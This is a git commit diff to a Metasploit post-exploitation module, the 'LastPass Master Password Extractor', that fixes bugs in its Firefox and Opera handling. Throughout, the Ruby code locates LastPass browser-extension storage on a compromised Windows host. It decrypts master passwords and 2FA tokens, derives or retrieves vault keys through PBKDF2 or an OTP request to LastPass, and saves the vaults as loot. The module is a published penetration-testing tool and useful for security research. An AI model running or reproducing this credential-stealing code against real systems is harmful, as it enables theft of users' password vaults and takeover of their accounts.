Fix Firefox/Opera bugs
Martin Vigo
parent
da9420a915
commit
e67065a7e9
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@ -14,7 +14,7 @@ class Metasploit3 < Msf::Post
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update_info(
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info,
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'Name' => 'LastPass Master Password Extractor',
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'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords',
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'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords, encryption keys, 2FA tokens and all the vault passwords',
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'License' => MSF_LICENSE,
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'Author' => [
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'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
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@ -49,12 +49,12 @@ class Metasploit3 < Msf::Post
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print_status "Extracting 2FA tokens"
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extract_2fa_tokens(account_map)
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print_status "Extracting encryption keys"
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extract_vault_keys(account_map)
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print_status "Extracting vault and iterations"
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extract_vault_and_iterations(account_map)
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print_status "Extracting encryption keys"
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extract_vault_keys(account_map)
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print_lastpass_data(account_map)
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end
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@ -80,7 +80,7 @@ class Metasploit3 < Msf::Post
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}
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localstorage_path_map = {
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'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
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'Firefox' => "#{user_profile['LocalAppData']}\\LastPass",
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'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass",
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'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
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'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
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}
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@ -238,7 +238,7 @@ class Metasploit3 < Msf::Post
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creds_per_user = encoded_creds.split("|")
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creds_per_user.each do |user_creds|
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parts = user_creds.split('=')
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for creds in credentials # Check if we have the username already
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for creds in credentials # Check iuf we have the username already
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if creds[0] == parts[0]
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creds[1] = parts[1] # Add the password to the existing username
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else
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@ -256,9 +256,7 @@ class Metasploit3 < Msf::Post
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def decrypt_data(key, encrypted_data)
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return if encrypted_data.blank?
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decrypted_data = "DECRYPTION_ERROR"
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return nil if encrypted_data.blank?
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if encrypted_data.include?("|") # Use CBC
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decipher = OpenSSL::Cipher.new("AES-256-CBC")
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@ -300,12 +298,12 @@ class Metasploit3 < Msf::Post
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unless ffcreds.blank?
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ffcreds.each do |creds|
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if creds[1].blank?
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creds[1] = "NOT_FOUND"
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creds[1] = nil # No master password found
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else
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sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0]))
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sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
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creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1]))
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account_map[account][browser]['lp_creds'][creds[0]] = {'lp_password' => creds[1]}
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account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = {'lp_password' => creds[1]}
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end
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end
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end
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@ -333,12 +331,9 @@ class Metasploit3 < Msf::Post
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for row in result
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if row[0]
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if row[1].blank?
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row[1] = "NOT_FOUND"
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else
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sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])
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sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
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row[1] = decrypt_data(sha256_binary_email, row[1])
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row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password
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account_map[account][browser]['lp_creds'][row[0]] = {'lp_password' => row[1]}
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end
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end
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@ -347,7 +342,6 @@ class Metasploit3 < Msf::Post
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end
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end
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end
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end
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#Extracts the 2FA token from localStorage
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@ -355,10 +349,9 @@ class Metasploit3 < Msf::Post
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account_map.each_pair do |account, browser_map|
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browser_map.each_pair do |browser, lp_data|
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if browser == 'Firefox'
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lastpass_data[account][browser].each_pair do |username, user_data|
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path = path + client.fs.file.separator + "lp.suid"
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path = lp_data['localstorage_db'] + client.fs.file.separator + "lp.suid"
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data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
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data = "DECRYPTION_ERROR" if (data.blank? || data.size != 32) # Verify content
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data = nil if (data.blank? || data.size != 32) # Verify content
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loot_path = store_loot(
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'firefox.preferences',
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'text/binary',
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@ -367,10 +360,7 @@ class Metasploit3 < Msf::Post
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nil,
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"Firefox 2FA token file #{path}"
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)
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lastpass_data[account][browser][username] << data
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end
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account_map[account][browser]['lp_2fa'] = data
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else # Chrome, Safari and Opera
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data = read_file(lp_data['localstorage_db'])
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loot_path = store_loot(
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@ -389,7 +379,7 @@ class Metasploit3 < Msf::Post
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"WHERE key = 'lp.uid';"
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).flatten
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token.blank? ? account_map[account][browser]['lp_2fa'] = "NOT_FOUND" : account_map[account][browser]['lp_2fa'] = token.pack('H*')
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token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*')
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end
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end
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end
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@ -431,10 +421,30 @@ class Metasploit3 < Msf::Post
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browser_map.each_pair do |browser, lp_data|
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lp_data['lp_creds'].each_pair do |username, user_data|
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if browser == 'Firefox'
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path = firefox_map[account][browser] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr"
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data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
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data = "NOT FOUND" if data.blank? # Verify content
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lastpass_data[account][browser][username] << data
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path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr"
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iterations = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
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iterations = "NOT FOUND" if iterations.blank? # Verify content
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lp_data['lp_creds'][username]['iterations'] = iterations
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loot_path = store_loot(
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"#{browser.downcase}.lastpass.iterations",
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'text/plain',
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session,
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iterations,
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nil,
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"#{account}'s #{browser} LastPass iterations"
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)
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path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml"
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vault = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
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vault = "NOT FOUND" if vault.blank? # Verify content
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lp_data['lp_creds'][username]['vault_loot'] = "NOT_FOUND"
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loot_path = store_loot(
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"#{browser.downcase}.lastpass.vault",
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'text/plain',
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session,
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vault,
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nil,
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"#{account}'s #{browser} LastPass Vault"
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)
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else # Chrome, Safari and Opera
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db = SQLite3::Database.new(lp_data['lp_db_loot'])
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@ -447,12 +457,12 @@ class Metasploit3 < Msf::Post
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if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0]
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lp_data['lp_creds'][username]['iterations'] = iterations
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loot_path = store_loot(
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"#{browser.downcase}.lastpass.vault",
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"#{browser.downcase}.lastpass.iterations",
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'text/plain',
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session,
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vault,
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nil,
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"#{account}'s #{browser} LastPass Vault #{lp_data['lp_db_loot']}"
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"#{account}'s #{browser} LastPass iterations"
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)
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lp_data['lp_creds'][username]['vault_loot'] = loot_path
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else
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@ -463,7 +473,7 @@ class Metasploit3 < Msf::Post
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session,
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result[0][0],
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nil,
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"#{account}'s #{browser} LastPass Vault #{lp_data['lp_db_loot']}"
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"#{account}'s #{browser} LastPass Vault"
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)
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lp_data['lp_creds'][username]['vault_loot'] = loot_path
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end
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@ -477,51 +487,54 @@ class Metasploit3 < Msf::Post
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end
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end
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def extract_vault_keys(account_map)
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account_map.each_pair do |account, browser_map|
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browser_map.each_pair do |browser, lp_data|
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lp_data['lp_creds'].each_pair do |username, user_data|
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otp = extract_otp(account, browser, username, lp_data['lp_db_loot'])
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if !user_data['lp_password'].blank? && user_data['iterations'] != "NOT_FOUND"# Derive vault key from credentials
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lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])
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else # Get vault key from disabled OTP
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otp = extract_otp(account, browser, username, lp_data)
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lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otp)
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end
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end
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end
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end
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end
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# Returns otp, encrypted_key
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def extract_otp(account, browser, username, path)
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def extract_otp(account, browser, username, lp_data)
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if browser == 'Firefox'
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path = firefox_map[account][browser] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp"
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path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp"
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otp = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
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otp = "NOT FOUND" if otp.blank? # Verify content
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return otp
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else # Chrome, Safari and Opera
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db = SQLite3::Database.new(path)
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db = SQLite3::Database.new(lp_data['lp_db_loot'])
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result = db.execute(
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"SELECT type, data FROM LastPassData " \
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"WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'otp'"
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)
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return result[0][1]
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result[0][1]
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end
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end
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def make_vault_key_from_creds username, password, key_iteration_count
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def derive_vault_key_from_creds username, password, key_iteration_count
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if key_iteration_count == 1
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key = Digest::SHA256.hexdigest username + password
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else
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key = pbkdf2(password, username, key_iteration_count, 32)
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key = pbkdf2(password, username, key_iteration_count.to_i, 32)
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end
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return key
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key.first
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end
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def decrypt_vault_key_with_otp username, otp
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otpbin = [otp].pack "H*"
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vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack "H*"
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encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otp)
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return decrypt_data(vault_key_decryption_key, encrypted_vault_key)
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decrypt_data(vault_key_decryption_key, encrypted_vault_key)
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end
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def retrieve_encrypted_vault_key_with_otp username, otp
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@ -538,13 +551,17 @@ class Metasploit3 < Msf::Post
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http.request(request)
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}
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puts request.body
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puts response.body
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# Parse response
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encrypted_vault_key = nil
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if response.body.match(/randkey\="(.*)"/)
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encrypted_vault_key = response.body.match(/randkey\="(.*)"/)[1]
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end
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return encrypted_vault_key
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encrypted_vault_key
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end
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# LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)
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@ -567,13 +584,13 @@ class Metasploit3 < Msf::Post
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end
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end
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return OpenSSL::Digest::SHA256.hexdigest(output)
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OpenSSL::Digest::SHA256.hexdigest(output)
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end
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def pbkdf2(password, salt, iterations, key_length)
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digest = OpenSSL::Digest::SHA256.new
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return OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'
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OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'
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end
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